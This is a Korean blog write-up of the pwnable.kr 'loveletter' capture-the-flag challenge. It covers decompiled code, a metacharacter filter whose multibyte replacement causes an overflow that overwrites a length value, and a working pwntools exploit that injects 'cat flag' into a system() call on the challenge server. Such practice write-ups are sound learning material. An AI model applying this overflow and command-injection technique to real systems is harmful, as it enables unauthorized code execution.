Pwnstar
Pwnable.kr loveletter 본문
후....rookiss에서 crypto1을 빼고 다 풀었는데, 그 중 마지막 문제이다.
crypto1은 나중에 풀어야지....
처음에는 좀 헤맸는데 그래도 금방 감을 잡은 축에 속하는 문제이다ㅋㅋ;
mitigation
카나리와 nxbit만 걸려있다.
IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[256]; // [esp+10h] [ebp-114h]
size_t v5; // [esp+110h] [ebp-14h]
size_t v6; // [esp+114h] [ebp-10h]
size_t v7; // [esp+118h] [ebp-Ch]
unsigned int v8; // [esp+11Ch] [ebp-8h]
v8 = __readgsdword(20u);
memset(loveletter, 0, 256u);
v6 = strlen(epilog);
v5 = strlen(prolog);
printf(&format);
fgets(s, 256, stdin);
if ( s[strlen(s) - 1] == 10 )
s[strlen(s) - 1] = 0;
puts(&::s);
protect(s);
v7 = strlen(s);
puts(&byte_8048A50);
memcpy((void *)((unsigned __int16)idx + 134520992), prolog, v5);
idx += v5;
memcpy((void *)((unsigned __int16)idx + 134520992), s, v7);
idx += v7;
memcpy((void *)((unsigned __int16)idx + 134520992), epilog, v6);
idx += v6;
puts(&byte_8048A74);
return system(loveletter);
}
s 변수에 256바이트만큼 fgets로 입력을 받기 때문에 bof가 불가능할 것처럼 보인다.
암튼 이후에 입력받은 값을 protect 함수로 보내는데,
unsigned int __cdecl protect(const char *a1)
{
size_t v1; // ebx
size_t v2; // eax
size_t i; // [esp+1Ch] [ebp-12Ch]
size_t j; // [esp+20h] [ebp-128h]
char v6[4]; // [esp+25h] [ebp-123h]
char dest; // [esp+3Ch] [ebp-10Ch]
unsigned int v8; // [esp+13Ch] [ebp-Ch]
v8 = __readgsdword(0x14u);
strcpy(v6, "#&;`'\"|*?~<>^()[]{}$\\,");
for ( i = 0; i < strlen(a1); ++i )
{
for ( j = 0; j < strlen(v6); ++j )
{
if ( a1[i] == v6[j] )
{
strcpy(&dest, &a1[i + 1]);
*(_DWORD *)&a1[i] = 0xA599E2;
v1 = strlen(&dest);
v2 = strlen(a1);
memcpy((void *)&a1[v2], &dest, v1);
}
}
}
return __readgsdword(0x14u) ^ v8;
}
문자열에서 특수문자들을 검사하여 0xA599E2로 바꿔버린다. 이게 뭔지 모르겠어서 입력을 해보니
하트인갑다. 여기서 특수문자 1바이트가 3바이트로 늘어나기 때문에 이를 잘 이용하면 overflow가 일어날 것이다.
여기서 주의해야할 부분이
protect 함수의 내부 모습인데, DWORD이기 때문에 "0x00"(null byte)가 뒤에 붙게 된다.
이후 입력받은 문자열 앞 뒤로 prolog와 epilog를 붙여주는데, 이는 각각 "echo I love "와 " very much!"이다.
이후 return system(loveletter)를 통해 내가 입력한 값을 system 함수의 인자로 넣어 실행시켜 주는데, 여기는
"echo I love " + "내가 넣은 문자열" + " very much!"가 실행되는 부분이다.
그러면 이 부분을 감안해서 한번 overflow를 발생시켜보자.
"A"를 253바이트, 그리고 #을 붙여서 0x00A599E2까지 추가로 총 257바이트를 입력한 상황이다. 그런데 system() 함수의 인자로 prolog 부분인 echo ~ 부터가 아닌 입력으로 넣은 A가 들어가 있는 것을 볼 수 있다. 그러면 왜 이렇게 되는 지 한번 살펴보자.
prolog 부분을 loveletter 전역변수에 복사한 후의 모습이다. esp+0x110에 무슨 값이 담겨 있나 봤더니
prolog 문자열의 길이 만큼인 0xc(12)가 담겨있다. 이 길이만큼의 뒤에 내가 입력한 문자열을 붙여넣기 위한 값을 esp+0x110에 넣는다. 그런데 내가 입력한 값은
esp + 0x10부터 담겨있으니, 만약 257바이트를 입력하면 이 0xc 값이 마지막에 들어가는 null byte로 덮이게 된다.
그러면 원래 loveletter + 0xc 부터 내가 입력한 값이 들어가야 하는데, loveletter의 첫 부분부터 덮이게 되는 것이다. 이것을 이용해서 입력의 첫 부분에 /bin//sh를 입력하고 dummy를 246바이트만큼 추가한 다음 #을 넣으면 쉘을 딸 수 있을 것이다.
근데 당연히 안됐다ㅋㅋㅋ /bin/sh 뒤에 null byte가 와야하는데 이 값이 오게 되면 입력 자체가 끊겨버리기 때문에 다른 값을 넣어보자.
cat flag + dummy(245) + #
dummy도 flag 문자열 바로 뒤에 붙을 테니 스페이스바(\x20)으로 넣어보자.
ex.py
from pwn import*
#context.terminal=['tmux', 'splitw', '-h']
#p = process("./loveletter")
p = remote("pwnable.kr", 9034)
script = '''
b*0x08048827
'''
#gdb.attach(p, script)
payload = "cat flag"
payload += " "*245
payload += "#"
#payload = "A"*256
p.sendline(payload)
p.interactive()
플래그가 떳다.
끗
'Pwnable.kr > Rookiss' 카테고리의 다른 글
pwnable.kr crypto1 (1) | 2020.09.15 |
---|---|
Pwnable.kr note (0) | 2020.07.30 |
Pwnable.kr alloca (0) | 2020.07.29 |
Pwnable.kr rsa_calculator (0) | 2020.07.29 |
Pwnable.kr echo2 (0) | 2020.07.28 |